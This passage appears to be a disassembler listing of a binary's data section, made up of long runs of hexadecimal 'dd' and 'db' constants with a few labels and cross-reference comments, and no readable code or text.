dd 1AA9858h, 24C13906h, 0E9E1FF8Ah, 487D00F5h, 0BE1493D2h
dd 0FC8D8505h, 94A4447Eh, 0A50D1C23h, 7EC38CDh, 0E8C8A1FBh
dd 68CF3889h, 0FBF26891h, 1CB23FD8h, 1860CD24h, 3CF03D46h
dd 0E4A4DEF8h, 84BA5C4h, 0BC3B71F9h, 8EEB80B0h, 0E9145C35h
dd 22663F75h, 0DF11A883h, 30000976h, 7CF27EE8h, 66A24A7h
dd 0F759303h, 7093406Ch, 0DCFD8413h, 33714F10h, 0E09510D2h
dd 92D4DE89h, 3A6026CCh, 2D010BC4h, 0CC00F074h, 17EAA857h
dd 0ECF088h, 940602FEh, 0AD243AA0h, 0E31FF5B8h, 6E002B96h
dd 0E99A498h, 8D140ACBh, 9C76C7h, 8736A8B9h, 710068CAh
dd 2359C69Ch, 0ED18AF5h, 691ED63Dh, 836F4121h, 65E2F0DAh
dd 0BB94EA18h, 3E162930h, 8200E128h, 0B00323B3h, 0E3E6FE7h
dd 5ECD94EDh, 0E3D90CCAh, 7E10ECh, 17767F93h, 4F5DFC75h
dd 4DCA0600h, 65B91357h, 0C65E1A14h, 0DC40F155h, 307B24BAh
dd 700069FAh, 0FEFC23A8h, 0C3630DF6h, 2A2F5C20h, 232313Ch
dd 0C175053Dh, 80B48914h, 8E263394h, 25862C18h, 0B8D49530h
dd 3C84F727h, 0E0087CAh, 2C20498Ch, 0C9DEAC39h, 0D23A1EDCh
dd 0E8E680C0h, 457B204h, 10DE9326h, 5158CDD4h, 0D22183ACh
dd 0F21ED440h, 30C49889h, 0E7FE241Ch, 49BC387Ch, 8D16B849h
dd 0B300E07Eh, 0F43ED4B2h, 902220FFh, 0A809169Ch, 305F00EFh
dd 0E783C4A1h, 0F7145F09h, 554C82F8h, 261D013Dh, 1883005h
dd 7F174A00h, 76B54DD6h, 6008A229h, 805A8860h, 80C4B23Bh
dd 0A0068F7h, 35385869h, 7514CA01h, 0B2CD8EE6h, 0DD0A8C22h
dd 84B4C5F0h, 0C5828A68h, 9C9822A8h, 0FF751480h, 3201DF47h
dd 76A735B2h, 11BF4827h, 0CC39CA14h, 2490613h, 83F02FCh
dd 0DD1AC04Ch, 6069F5C6h, 2661042Ch, 406C667Eh, 0E74A063Fh
dd 27AA090h, 9B99D0E7h, 0DB3E0500h, 87B8DF97h, 0FF1D26FCh
dd 0EF3908B4h, 6DA260Bh, 9038D0F8h, 0BC9E5880h, 0EB696D20h
dd 6B941248h, 0A4201068h, 9B10E37h, 0B300D2E7h, 0B49BFB0Bh
dd 86F00A0h, 53540377h, 8D1CE198h, 1B09BC93h, 4740A29Ah
dd 80F204F7h, 698714C4h, 16668A80h, 3F501D9h, 799F4D11h
dd 401C24B9h, 487E4CFCh, 3F0590A0h, 7875091Fh, 6C80A0AEh
dd 0B5DC6ECEh, 8DFB0BE6h, 0D024336Dh, 2B0CF928h, 0A03EDCCCh
dd 20E46998h, 20C85CB2h, 5A00A597h, 57FA931Ch, 75678Eh
dd 7D31747h, 0CCEADEB5h, 480389E8h, 1EF68781h, 6826A275h
dd 70BB8C84h, 0CD863E36h, 1832A918h, 1978EBFCh, 10C0F576h
dd 0E535C311h, 0B52A0073h, 0BC019A5Bh, 1B616075h, 2B76FB20h
dd 693F5047h, 3C94AE4Ch, 884C6412h, 906BB8CEh, 90C02EB8h
dd 65A6806Ch, 32F47524h, 0CC54100Fh, 0BF6140CDh, 20DD1BDEh
dd 672C5FAEh, 0F542508Ah, 2480F9E9h, 40101324h, 4A2A3F28h
dd 10A07BF5h, 7319885h, 6C7598F6h, 0DA480C01h, 2AC28048h
dd 8CBF878h, 0CD3402F3h, 5C090A9h, 8A6D0C61h, 0F3062DDh
dd 0C0D9EF37h, 90322402h, 28CD8DD8h, 0E42F43h, 0AEF1E6AAh
dd 0DA4885D5h, 6A807CB3h
dd 0FF866F8Dh, 0BC951E8Ch, 94093968h, 0C4809B85h, 0C914DF6h
dd 2890E93Ch, 0CDF408EAh, 114C6150h, 758C44A0h, 6C58C42Ch
dd 0F06FF762h, 450F24C4h, 0DF1002F0h, 0F8EA0D36h, 0B0DDB440h
dd 8310B760h, 40F0605h, 9A8DFC84h, 24489044h, 3000339Ch
dd 136535D2h, 5FFD86C9h, 0B96481C8h, 0F3288587h, 0C8732675h
dd 0DA601042h, 0E89A260Eh, 3C751F10h, 5F1890B5h, 11F61069h
dd 63F88C51h, 4A2402F8h, 2C958Dh, 574B07B5h, 75278601h
dd 0A2E0DD6Dh, 4D8E588Bh, 1D670C05h, 558405FCh, 2BE4D168h
dd 0C6EC02EDh, 19EF26D4h, 32DA13F4h, 7511B25Ch, 890749C1h
dd 60FECC02h, 726B1800h, 383D6469h, 3E30FD9Ah, 1050CCF5h
dd 3D793659h, 808C7CFBh, 9B98C6CBh, 0DE15AFE2h, 98C28ECh
dd 1BB8F87Eh, 9CA4Ch, 2F2030D4h, 6CF02200h, 4F5FCD70h
dd 0D7F826D3h, 683E00C0h, 9456EE0Dh, 50F3DE2Eh, 165C03BDh
dd 200810EFh, 0D0BBEB0h, 202AE386h, 39204094h, 1005007Bh
dd 88A42738h, 2640E5FFh, 22FE0248h, 0DF0F45B8h, 688914D4h
dd 0E7B41088h, 2CA2631h, 3E0AA8D8h, 0A05EE8A4h, 0B8A11AA0h
dd 2FE820B9h, 0EB583490h, 0A4E82CA0h, 5ED1762h, 0AF58803Eh
dd 37068536h, 18A2DE92h, 0C3710071h, 0FCDD29FEh, 0FD0724F6h
dd 1AB7619Dh, 0CD0FEC90h, 0B3720095h, 21753981h, 17003683h
dd 0DEF50CEEh, 3F43023Ch, 73076938h, 51151F7Ah, 35D38F89h
dd 0F91C2138h, 7BA03325h, 0B5802494h, 770352FFh, 0D44B8BAh
dd 6F0DDDCEh, 234828F8h, 0BA983F96h, 226248DAh, 282A3899h
dd 59AA7513h, 0ECDCF440h, 678717h, 50F05769h, 0ED253732h
dd 81D58D01h, 7538E50Eh, 31F320h, 14842D62h, 5CE3DC4Dh
dd 0A0511D79h, 32438B8h, 0CBF776FFh, 0FC50A771h, 3AD139Ah
dd 1AF551CDh, 67F87504h, 3B5C0F73h, 15F074F7h, 8D000376h
dd 1D4C5BD4h, 1F7D3116h, 0C526FAD1h, 40239ADEh, 0C99787C0h
dd 0F500E30Bh, 4ED86AE4h, 0E463C0D5h, 80CA5639h, 2B1D1Eh
dd 0DFD0B2B3h, 0FCA0490Eh, 34FF068Dh, 2A12B408h, 5CD139EBh
dd 0F841D597h, 0EE0242D6h, 4EDDC440h, 0F610AF60h, 9CAD8A77h
dd 0E3C1007Ch, 12E2005h, 0D83C0E2Ah, 1C04304Fh, 0C00348Eh
dd 5082AAF3h, 17C1A5Ch, 4311FF5Ch, 0B300ECEDh, 0A801CC5Ah
dd 74F31D20h, 39802BEEh, 23889C19h, 73006917h, 878EE154h
dd 0F3EF7h, 93145DD5h, 8D0EAC4Dh, 0C2007CE8h, 7AC12412h
dd 0B246A786h, 421A2070h, 0F505B898h, 714A8A7Ch, 40FA8031h
dd 603D0CFh, 4E62C94h, 86C24AFh, 0A428B236h, 0C1B55F0Fh
dd 0D8C5ABD7h, 2196E4F0h, 0F3018D67h, 40C7E4B6h, 75395822h
dd 72C4B4D8h, 3452ABBCh, 694D4E0h, 84DE86Ch, 992070CAh
dd 44195AB0h, 4C3DA00h, 98F051EEh, 0CC56409Bh, 26AD621Eh
dd 2976AFC7h, 0A4181400h, 5185784Dh, 0FC300801h, 80589E34h
dd 366B5B67h, 0F50045B5h, 0FE4B01E8h, 0AD59402h, 0EBFFDE8Eh
dd 26BC68FCh, 0DE606FE4h, 0CF1A75BBh, 3CC410D0h, 9EEB0B07h
dd 384CE8h, 25FA66BDh, 0B4F7F82Bh, 54366700h, 0D16F6927h
dd 92070653h, 0E16CDF04h, 60EC10Bh, 0EAC01049h, 3B85805Dh
dd 0C0902C4Ch, 0E2B4B335h, 97FB0EE4h, 568083D6h, 64DCA19h
dd 9A1D9EE8h, 0F683F445h, 4A4B7F8Dh, 1E181E90h, 3D08A9EEh
dd 88B0F3A0h, 603AEB1Fh, 0D145E89Dh, 34C2FCC9h, 577510DAh
dd 874D00F5h, 91D5068Fh, 0A80C20DEh, 41A0933Ah, 0B78A208Eh
dd 0F09228Ch, 3F97700h, 0CDB54B3Fh, 0A0291265h, 1DEE0048h
dd 5BF2F505h, 2FAF0A1Fh, 80737149h, 0AE4F3580h, 8B4D0070h
dd 0DFAC011Ah, 0F716EDF5h, 34F06C8Dh, 30DA275Ch, 58DD6890h
dd 62E0BC55h, 2F67187Ch, 0DB399h, 46A5FD84h, 0E18D93BEh
dd 0C01E492h, 12483A63h, 0EEF8401h, 17761C68h, 4750D7C1h
dd 0E3844CBAh, 914F258h, 0C1D2DF03h, 483C9A08h, 0BCFF93C1h
dd 0CC48809Eh, 7E856D5Fh, 0EBF70913h, 0B30B0CFEh, 2AE2E822h
dd 0E4A20440h, 0E070E881h, 729B4A08h, 60ECAB4h, 2E104BA8h
dd 4014195Eh, 1743010Dh, 0A7DD18C4h, 265794C0h, 2B240F74h
dd 7009FA4Ch, 27016802h, 0D2B4415Fh, 1D003863h, 0C506041Bh
dd 0C125E33h, 3888DB8Dh, 67E22EEDh, 0F4E1372Ch, 62C8B0B8h
dd 12D46348h, 0F4370275h, 413C774h, 335D6D4h, 0D177579Bh
dd 10B80307h, 0F60EE309h, 853A90C8h, 0D2F1F501h, 82DE93C6h
dd 2CD0E6EAh, 5B40B3Dh, 0C0D8E297h, 0D9DB21AEh, 0CD98AE00h
dd 488995B5h, 29770704h, 90EE5035h, 980EAB4Dh, 14CCA453h
dd 3AF4618Fh, 56B090Fh, 0E8D810AEh, 4198908Ah, 50B06052h
dd 0EE394F01h, 67178334h, 0F0188893h, 892A5C88h, 0C26501Ch
dd 415A18EFh, 0A455BAFCh, 2571409h, 9050D3ACh, 1D1625BCh
dd 0F26B31Dh, 56F31175h, 0CB480AACh, 0D8EA128Ch, 752F8C44h
dd 0C6C8E294h, 0B078B060h, 0FA222060h, 7AE95B00h, 702B7707h
dd 90F0EEh, 867F75E8h, 6EED8BCDh, 0B406F800h, 0CE0CEA2Eh
dd 0BE4891C0h, 5A8AF01h, 247CB38Dh, 0FA139E90h, 5C94C1EBh
dd 482EF0A2h, 2206CC0h, 980BFA00h, 0AED463E6h, 1F289AF2h
dd 214F8F7h, 0EE4FC875h, 18A68C5Bh, 45300608h, 4C80AC4Ch
dd 1B2088h
db 9Ah, 0A1h, 93h
byte_4E4143 db 0FEh ; DATA XREF: ___:0044482Co
dd 5202713h, 1C10752Ch
dword_4E414C dd 8D24388h ; DATA XREF: ___:off_443700o
dword_4E4150 dd 1202631Ah, 59F26861h, 886A0FACh, 21A2DD22h, 2583F879h
; DATA XREF: ___:00444908o
dd 81CA4CDAh, 0D820D5D0h, 0EAA07D4h, 62968769h, 41600207h
dd 97606F67h, 0F33EFA11h, 8CF4B0D2h, 8C553AF8h, 0F0440449h
dd 7D2709BDh, 900B4093h, 0B9A43C40h, 52F45F04h, 0C4F4AE04h
dd 768C0167h, 75199A3Ah, 77DBE3B6h, 0DEFC111Ch, 6528D258h
dd 15C8905Ah, 0A4877590h, 67DC3B78h, 0E4C8C4D8h, 3D893010h
dd 460CC0E0h, 9297580h, 0D4CCF1DCh, 0D5994820h, 33F97695h
dd 5BB52038h, 48C016Fh, 0A645BA8Dh, 0CCC2EC40h, 838518Bh
dd 6801FD6Eh, 0F023BD6Ch, 406F4460h, 0B8C4624Fh, 41342E8h
dd 8040C38Ch, 47B852Ch, 0B70B7C9Ch, 0C2A809A5h, 44F08948h
dd 0C650897Ch, 32018860h, 60B12561h, 0DCAB02h, 4CDED00Dh
dd 1ED05C4Dh, 394AE5A4h, 5D00BCD7h, 0C9323826h, 76FC1D8Ch
dd 873F8528h, 0B070C4D5h, 962CB5BCh, 410058E5h, 0F6745FF3h
dd 6275791Ch, 0DFEDA0A6h, 4FBCDC88h, 1C56B3EBh, 80C75C44h
dd 2047812Dh, 0F1846CD0h, 0B814A8Dh, 0C4223D40h, 300CF93h
dd 23C6769h, 0FF346D26h, 107EDADEh, 6F758F03h, 0DB7908AFh
dd 0F3428867h, 18F885E3h, 73DC8804h, 3D78C501h, 0C22C2C05h
dd 0F032FDDh, 1E20894Ah, 80ADD98Dh, 2E947CF3h, 1889C017h
dd 5C708163h, 9C23FE3Ah, 0FC043D00h, 42C97B9Ah, 9020A0A8h
dd 7545E004h, 0FA0F1E22h, 8A148C96h, 2C3B5C84h, 15F6049h
dd 28C6100h, 0EA43419h, 17759B16h, 5E108880h, 81DA6AB4h
dd 759583F0h, 20132226h, 5C0130FBh, 1BC9C825h, 19974028h
dd 88E070h, 1398DF62h, 4995BACh, 3CA6998h, 3C326704h, 0AF4560E8h
dd 1DDC9910h, 32F79420h, 1B10227Ah, 9005B905h, 908D6919h
dd 26CA29C8h, 8B60D95Fh, 0E072BC2Ch, 8039373Eh, 1076BF8Fh
dd 96F62AF7h, 219C8088h, 368D09A2h, 0EB3003B7h, 0BC8CB818h
dd 40C20FDCh, 94E2DD50h, 96E385C0h, 88D47030h, 5595C33h
dd 0D757DECh, 0E78C0167h, 7C02CA39h, 3CB67400h, 82F3FC09h
dd 5DAE75BCh, 5DFDBC01h, 206C7976h, 40BCAE52h, 40C2E73Fh
dd 0A5120402h, 1CF00CD4h, 4E589C76h, 30583369h, 0F9DF0208h
dd 4A620906h, 0FC8D40C8h, 0DDE07861h, 208F6E1Ch, 0B5C384F5h
dd 7EB04607h, 0D5380681h, 0A98D9F69h, 7C42AA18h, 24525461h
dd 0DDB408Fh, 4423694Bh, 3C30D104h, 7B9E44Ch, 2D95F11Ah
dd 281EF601h, 0F503FF12h, 26017828h, 20BB35h, 0F21449Fh
dd 38328DC0h, 0E67668FBh, 87D44B74h, 1DC0E418h, 1F3742C0h
dd 0B6EA60h, 0D28DCD90h, 752AF97Fh, 3E8CFC07h, 5EC09DEDh
dd 1CE1A5F6h, 2D9EDD72h, 0D4A0DC7Ah, 6498CB99h, 70C888BEh
dd 7076A96Eh, 9451042Ch, 0B915C375h, 0A598C078h, 7CDD0DDCh
dd 71E603E5h, 0C0D38607h, 25F6FD98h, 899BFB3Bh, 0C30C73CEh
dd 462AE0C0h, 5D855807h, 0EA00A23Bh, 0D66316Dh, 4D0224C2h
dd 5CCBFF8Ch, 7904D2F4h, 0F2F53A8Dh, 28121A80h, 317466C9h
dd 3B75CA0Ch, 4E3991Eh, 14675E6Ah, 4C8CD161h, 9468004Eh
dd 0A46C02A8h, 8E3C8DEEh, 2ABA2F00h, 0B8415110h, 949F90F0h
dd 4440A538h, 0E880D958h, 0DEFB0C7Ah, 3510F055h, 0E4047276h
dd 0DB34CE7h, 0E25E9CC2h, 4A585920h, 0D490850h, 1CCC9013h
dd 44365C04h, 0F048A7C4h, 5E3AF1Ch, 52F2B4A0h, 682AB8B6h
dd 7594A82Ch, 795F6741h, 0AEF890D9h, 0E07A7F5h, 45FEB568h
dd 3DA8DB70h, 0F32851A2h, 93105F0h, 0B34D5107h, 83B02000h
dd 7603FD65h, 2D50AB09h, 7990E7C6h, 544555h, 0ED051C1Dh
dd 7D4D8EF0h, 41B7DE25h, 9440BA14h, 2FFA9B18h, 78C06D8Dh
dd 6F5868FBh, 11810016h, 7D997CF5h, 0C0CB17F4h, 0FBF4C065h
dd 0B07F399Ah
db 0B6h, 1Ch
word_4E4556 dw 0E92h ; DATA XREF: ___:0044498Co
dd 0DF100C80h, 0BCD754C1h, 58CBC11h, 30B90305h, 207D7584h
dd 86158B3Ah, 7C9F958Dh, 92B6EE11h, 1065BD8h, 0AA011054h
dd 76B45218h, 0F4889CE1h, 10B1BA3Bh, 5C45E813h, 89331E6h
dd 1257F38Dh, 611848h, 0CC860594h, 0DC2E3BE0h, 6970CD3h
dd 60E25C12h, 6CBC994Ah, 971A0EA4h, 17B9EE6h, 5B70F07h
dd 7420574Ch, 6B6541C9h, 6CCED440h, 0E7AD7h, 399DA79Ch
dd 2AAA1EE5h, 0C14F0CF8h, 3F0064E6h, 9865390Fh, 0BD02BFA4h
dd 0B98DDBD2h, 879C59C5h, 0C7FF9A0Bh, 0C8E44917h, 6364E89Eh
dd 402D9CCDh, 0C8D30E19h, 18A04501h, 87D4E8DCh, 5C277624h
dd 81AEF742h, 0FFF6F578h, 25170862h, 93F80286h, 8B192B76h
dd 6148222Ah, 750CF4C8h, 48C57931h, 2DD9EBh, 51FC9426h
dd 8A447CCCh, 0DC26B03Bh, 38FB0D08h, 24C8DA25h, 0E709D563h
dd 2F53449h, 542A3813h, 12B4A8D4h, 0C973760Ch, 0D558349Ch
dd 0B49BB898h, 368834A4h, 3D7B8012h, 906C95EAh, 0C20CFD18h
dd 0B479DD91h, 916D00E0h, 82370F36h, 88945724h, 0FF03B12Ch
dd 846E8Bh, 2775DD10h, 91F9244Dh, 0F45FC614h, 0FFD01CCh
dd 7FF26C61h, 5C7823h, 82D1E784h, 0F8C825FCh, 9001816Ch
dd 0FBB58E58h, 59D98D47h, 0F884EC65h, 1EE89F4Ch, 93026B8Eh
dd 8F856h, 67A90AFDh, 28C04878h, 1B2C9258h, 28F6138Dh
dd 73ECB1F1h, 58AC3290h, 70BC8675h, 9EED0108h, 0E3E52132h
dd 2366DD8Dh, 0C9327838h, 794810F0h, 9CFC1274h, 0F8208D70h
dd 0C2AE00C1h, 10C4621h, 8B25A47h, 2C201800h, 0C9314396h
dd 13630355h, 41FD75ABh, 4F7B039h, 72A31FD7h, 6402CCC1h
dd 98E3EB02h, 3578E8C1h, 6BA02498h, 0E1DC5A4Ch, 0C044DEF5h
dd 9825748Ch, 0C8232F50h, 0A061A0A5h, 29C0BB08h, 9A5C80F6h
dd 85570653h, 18628DDEh, 0BC886700h, 752FDFD0h, 6170F0FAh
dd 658D11BDh, 0C840BECBh, 81C6CB94h, 0DD8F01B8h, 19EBC20h
dd 3603AF7h, 4C879D8Dh, 14B0FCACh, 0E48A7E08h, 1FF50FCCh
dd 6E20E45Ch, 309304h, 0C626DB48h, 74809555h, 0E11C25E3h
dd 0F8D67CCCh, 0F7F600FAh, 0EA7FF3FFh, 0BD49DE74h, 617B130Ch
dd 80C41434h, 4ADD44B0h, 2748C0D9h, 0F02676Dh, 21C7D33h
dd 0C1C441EAh, 1D46B5C4h, 53031125h, 0EB300496h, 52B109BCh
dd 128F420h, 79725406h, 0C1768A4Dh, 1118405h, 13BE568Dh
dd 0D404CC24h, 0C2F294A8h, 0B18D8083h, 3E28C9F7h, 3F046853h
dd 98B84A28h, 40C01D27h, 38DCFA07h, 0ACDEF9CFh, 12665840h
dd 43128A77h, 4805B560h, 0E18020h, 0E3F72F0Bh, 0E675B712h
dd 0EDF93Eh, 6AB5CA16h, 7627D56Ch, 1CE760F6h, 47897B1h
dd 0FB854707h
db 0CCh, 89h, 0C1h
byte_4E4843 db 9Ah ; DATA XREF: ___:00444AFCo
; ___:00444B3Co ...
dd 0E220277Fh, 70B4011Dh, 0DE8A34ECh, 7CC8EEFAh, 0E700F58Bh
dd 11A951B8h, 4CEB5463h, 2978CD1h, 0A69CDD74h, 94FA474h
dd 9ACD0F0h, 0F5F88A85h, 0F108B4F1h, 5E9D0155h, 0DC8FEBBBh
dd 0DE781ADBh, 1A6E1E26h, 0E79AD51Eh, 0BF54C169h, 0B7CDD10h
dd 0EB427494h, 64E840D4h, 0D81081A7h, 3489275h, 26A109A4h
dd 80304A16h, 0C84B390h, 2CC27081h, 89C4450Dh, 245A145Bh
dd 0BFB80497h, 0E1F6C024h, 43ECACD8h, 5718CB60h, 9718FF92h
dd 0D8D22886h, 0B1309B58h, 0DFC0C1B3h, 0B0119725h, 17611669h
dd 0FC9913h, 52508C40h, 0EA4DE2DDh, 0A3FC48B4h, 367188A0h
dd 168D2DFBh, 3206ACE1h, 69D1DED0h, 0AE8D0281h, 1F18225Bh
dd 8480D8CCh, 1145C4Dh, 0F5BA2831h, 614CF050h, 57DD10C6h
dd 1056D817h, 0F928009Dh, 42CD053Eh, 0DC285FA9h, 1F2E5E01h
dd 0E7F7C9E0h, 669D4800h, 2616FCD4h, 90C1FBDDh
db 96h, 75h
word_4E4946 dw 0F8CAh ; DATA XREF: ___:0044466Co
; ___:00444674o
dd 0F9250154h, 0DCB26FB7h, 0C4C8F0E0h, 0CBAE60C0h, 4FD70E8h
dd 0D274FE1Eh, 0C470E802h, 2CBC11F6h, 3478DD1Dh, 20D4CB58h
dd 0AC8295CAh, 0EAE30118h, 49E5E009h, 9DC09814h, 261D2E5Ch
dd 202027A8h, 0B4F628BCh, 75E3DE05h, 60939C51h, 0CDC0FEDh
dd 3D859BECh, 265898BEh, 59F82D40h, 0F2107044h, 103F248Ah
dd 0C747183Ch, 4DDB910h, 612E5755h, 0EF00AE66h, 0FF84EDA3h
dd 146C9E47h, 5F0FACD4h, 5573407h, 0B1B78D34h, 7322C460h
dd 0EF81F500h, 0DF0D9325h, 5BB40098h, 0DD67BA86h, 0C492A9E4h
dd 422DD43Ah, 36338609h, 4CAEEC64h, 84B10E78h, 0E1DD0C8Bh
dd 4233DA4h, 68EF750Ch, 0DD1727E8h, 1028D74Fh, 90389C02h
dd 0E8C98C0Eh, 99D162DFh, 75C1FD9Dh, 0C608AC3h, 0B464DCE5h
dd 1939A081h, 8F9BFA00h, 30489274h, 6C9C01CCh, 7D354208h
dd 1690E070h, 406A108Dh, 57051B3Ch, 0CD2EFF8Bh, 0D20AC412h
dd 4345EC20h, 3C1FCC17h, 852418A7h, 0E86C4CB4h, 39C072D6h
dd 1794702h, 5594E40Ch, 424838Ch, 141057B0h, 1E95C91Eh
dd 0FF960D06h, 96F4098h, 899F9738h, 0FF88321h, 89CDC07Ch
dd 9DD5A684h, 2D2FEA00h, 7418E7A3h, 9D687A1Fh, 6AE0E99h
dd 0A4F3DF0Bh, 480695B8h, 5FF2F6Fh, 0BD8B0AEh, 0EC020176h
dd 649B2420h, 6A58A5D2h, 50E400AAh, 7C4DB4C1h, 86EA18h
dd 0A0B0DD21h, 69010D2Fh, 0CC3C8097h, 4B663B5h, 670E6B92h
dd 38C0F952h, 0D44DAE8Dh, 0F9969882h, 0F58AE01Dh, 4929007Bh
dd 7068D8A1h, 3F05D650h, 83A88D5Eh, 0C9F99493h, 0F087BA52h
dd 66D936B5h, 3B0FB0DAh, 929758D0h, 4DD87200h, 0F01EF6D7h
dd 0E08A0A7h, 0DE453086h, 3E6C74D8h, 0A45E8CA2h, 0EB188D96h
dd 3CF9F869h, 35123605h, 49E8A377h, 0E6980478h, 0D898C98Eh
dd 1FC70050h, 3106FB01h, 28005363h, 3865CDD4h, 1740F94h
dd 735D68FDh, 0C92B5764h, 0ED07086h, 267A231Dh, 0CE53B44Bh
dd 63CF9014h, 0F39D68CCh, 0F6A359E0h, 68D32817h, 8042A499h
dd 2640016Eh, 0B929E0C2h, 0FC9110D3h, 102C8AF6h, 20620C89h
dd 0FB4BBCC4h, 0F7756880h, 0CF9269Ah, 201E01ACh, 0F76D0119h
dd 3FC683Eh, 6CA6927Eh, 8AC1EF0Dh, 3007BA98h, 0D886F613h
dd 0E4A19400h, 4D54331Eh, 0D58B2DEAh, 107F2040h, 3E1F7700h
dd 0CAEE763Ah, 69F409A7h, 847587h, 29280F41h, 4964006Dh
dd 0FE2ED376h, 889C9ABEh, 0FEC54AC4h, 263174FDh, 60B88417h
dd 603E0472h, 0E3DF030Ch, 4F8E50D0h, 0D5A883C7h, 0AD012819h
dd 0DEF8C5D1h, 4EC35E90h, 88CF72C0h, 7532E7h, 0EE8060D4h
dd 0DE854C0Bh, 94A8A061h, 3920695Fh, 5B16FC8Dh, 3B8C204Dh
dd 0AC020C44h, 20DE6E55h, 62AC564Eh, 90C8CF8Fh, 0E580FBE0h
dd 205E5879h, 0D03FA5C0h, 5133DFDh, 2CE6C249h, 0C0685A70h
dd 0DA74C9Ch, 3EA49800h, 0F7FF1503h, 0C0B990DEh, 54075E28h
dd 0E9FEA775h, 13556006h, 7A1AA68Dh, 0D3293274h, 3070F789h
dd 4EEBF927h, 123F5F04h, 0D33481C0h, 0AB0C034Fh, 0DD4815A8h
dd 6604D8C2h, 0C0ECF884h, 103CFB20h, 45B1F90Ch, 376186Ch
dd 78017BFDh, 82BD57C5h, 0CC204DACh, 1CF32359h, 3826648Fh
dd 0E9E7B50Fh, 0D4701AEBh, 0B8F50713h, 10DCD60Ch, 0F8DF1505h
dd 670FD804h, 819E0B0Dh, 7AF594E7h, 6FD8D3ECh, 33DBC89h
dd 56F879E8h, 0E9462501h, 5D1C8A63h, 0C61BB100h, 660E8C14h
dd 92291FE5h, 91C1AC00h, 0C1049075h, 11CC6EF1h, 0CF42CDFh
dd 4054E68Dh, 0F34C1DB7h, 93698077h, 23DE358Bh, 9FE0F503h
dd 0E004CED7h, 0B5D876Bh, 0B38DE36Dh, 0DAC08440h, 0DE6C5CE8h
dd 5F6C8ECh, 11A4839h, 0B53497C1h, 60CEC7Bh, 0F19DEFAh
dd 0E8912728h, 4D75CC81h, 4C58389Bh, 94CB2768h, 67DD1844h
dd 8C6A3845h, 642F7226h, 0C9D02502h, 2FA4501Bh, 0FC8BC499h
dd 0A3C1051h, 0FCE7F624h, 95830200h, 0F5016EFFh, 0ACF0257Ah
dd 0BA360388h, 98A7AB31h, 16373AC2h, 40C98D0Dh, 0FEF13DA0h
dd 1F25F6FAh, 75548105h, 0EC79CAB0h, 470CF300h, 0B89F016Dh
dd 22A288C1h, 80C61FCAh, 2A55BBA4h, 6B2800CDh, 26FB7566h
dd 887AAA19h, 0D671930Fh, 0B013F97h, 0A1202973h, 90D98BF0h
dd 0F534095Ah, 30E8030Fh, 8CBE36DDh, 5EFF7600h, 17EAE9E8h
dd 0A1DBF774h, 2F46C08h, 0EFBA460Ch, 3FC68F0h, 0CD0B163Fh
dd 2D18A2B3h, 0AB749031h, 42BB2F0Eh, 73757CB0h, 0FB706F62h
dd 0D5A8EA13h, 0DC04E961h, 40C05141h, 0BFB6EBDh, 0EF652601h
dd 27028808h, 0FD002CACh, 0F145BAF9h, 30C700E9h, 0ABBF98E2h
dd 484C8D35h, 0F79AA110h, 1C39DF1h, 1E7FAD10h, 2BC10577h
dd 19F634E4h, 16AE5D69h, 64033BF5h, 1C12C7DEh, 7A736D40h
dd 78B3F47Bh, 5D8B07BFh, 799E33C4h, 0B5753007h, 9A9800E1h
dd 257C8593h, 1B1D3D25h, 2AACD78h, 0E9C4DD98h, 6F877474h
dd 85A033FBh, 307598DBh, 2E8401Eh, 94BCE5Eh, 20DD6888h
dd 834A4528h, 0D594B4C0h, 30055E86h, 0E8DEA630h, 0E4D0525Bh
dd 0B29D298Ah, 4A252478h, 12054160h, 6C187191h, 0DC2E754h
dd 0BF3C5499h, 376C985Fh, 0BC28886Eh, 841D1493h, 0F0013C90h
dd 5FA39E64h, 334DC47Ah, 2A2404E2h, 770FE5C9h, 0C607800Dh
dd 7FD44792h, 0CBAB001Dh, 0E3BE0E25h, 650078FDh, 0A05F59AFh
dd 4FD0AAh, 0EF25D3CEh, 534427C4h, 785940C1h, 28808D61h
dd 75FF19FBh, 97CA747h, 188B1A30h, 0F02503C9h, 10A16787h
dd 993346E2h, 79003575h, 9453258Eh, 38B96A1Ah, 780C077Bh
dd 0CD30636Fh, 0D625F32Dh, 7A103058h, 2E60109Fh, 0A63BD080h
db 8, 3
word_4E4F4E dw 33D5h ; DATA XREF: ___:00444CDCo
dd 53CAAC46h, 45AABC0h, 58301AF8h, 974850D1h, 25CE037Ah
dd 4543FCE8h, 9E184867h, 3E33A1BCh, 8B145A0Bh, 3001104Fh
dd 0E41A93A0h, 0C6489DCFh, 96D647C0h, 7B3DA3Dh, 0E77299F3h
dd 15FB8004h, 62055489h, 0CE6A70EDh, 63D89014h, 18C15F08h
dd 71C4FB68h, 0CF831251h, 43834847h, 312838C0h, 9E5C2103h
dd 62C1FF9Dh, 0FBE0427Bh, 0F0035CAEh, 3D89E138h, 0D86080BDh
dd 0E695E347h, 0F11E007Bh, 0D97F70DFh, 1A18D544h, 5CF130BBh
dd 0C0A07564h, 0E06A8248h, 7626CA0Ch, 428EAD5h, 57446318h
dd 9EB320h, 5916A479h, 0C6AB1910h, 28EA4A7Ch, 30002092h
dd 2CD74847h, 3FFEE45Fh, 0A98A386Eh, 0CC01BCEh, 0AD28780Ch
dd 38A0B00h, 19126071h, 0A8BC5070h, 24A6F418h, 284015D4h
dd 0ACE11230h, 4E4400FBh, 5AA170E3h, 14D6E0C8h, 0A844C0C8h
dd 627A0991h, 0C1002DDh, 54326D84h, 808840C3h, 0F34F8A14h
dd 9B4303EDh, 2939230h, 0B03EEED0h, 0F857F73Ah, 0A8757A0Ch
dd 48A330CAh, 633848B3h, 0B45813B0h, 47754BC6h, 32334501h
dd 0E39243E9h, 40F3AC43h, 3464AFC8h, 1030B70Bh, 20F4C14h
dd 0E3C05A84h, 3B64E4F1h, 42184360h, 788586Bh, 12475B80h
dd 1D3437Fh, 69F70388h, 6840F968h, 0B980D11Ch, 7D15FC5Ah
dd 0B8160F10h, 3D0A6930h, 0B1700F08h, 64E2F878h, 68F1FB30h
dd 0F92C8C0h, 272B2846h, 0E72E4460h, 487BBA01h, 0F2DA6418h
dd 2488A828h, 14C44572h, 5200DC5Ah, 2D14FC63h, 290C32B7h
dd 60F48170h, 0B6360086h, 2B72C939h, 16B096C8h, 3B2E4200h
dd 6DE4523h, 3C9EF801h, 9D06C256h, 68FA2764h, 8B7B802Ch
dd 0AE4E215h, 0A4F8D81Ah, 0C78F10Eh, 57918C6h, 93BC3D8Fh
dd 0DEA801EAh, 2480BA1Ah, 693EE080h, 0F2170156h, 1DD7302h
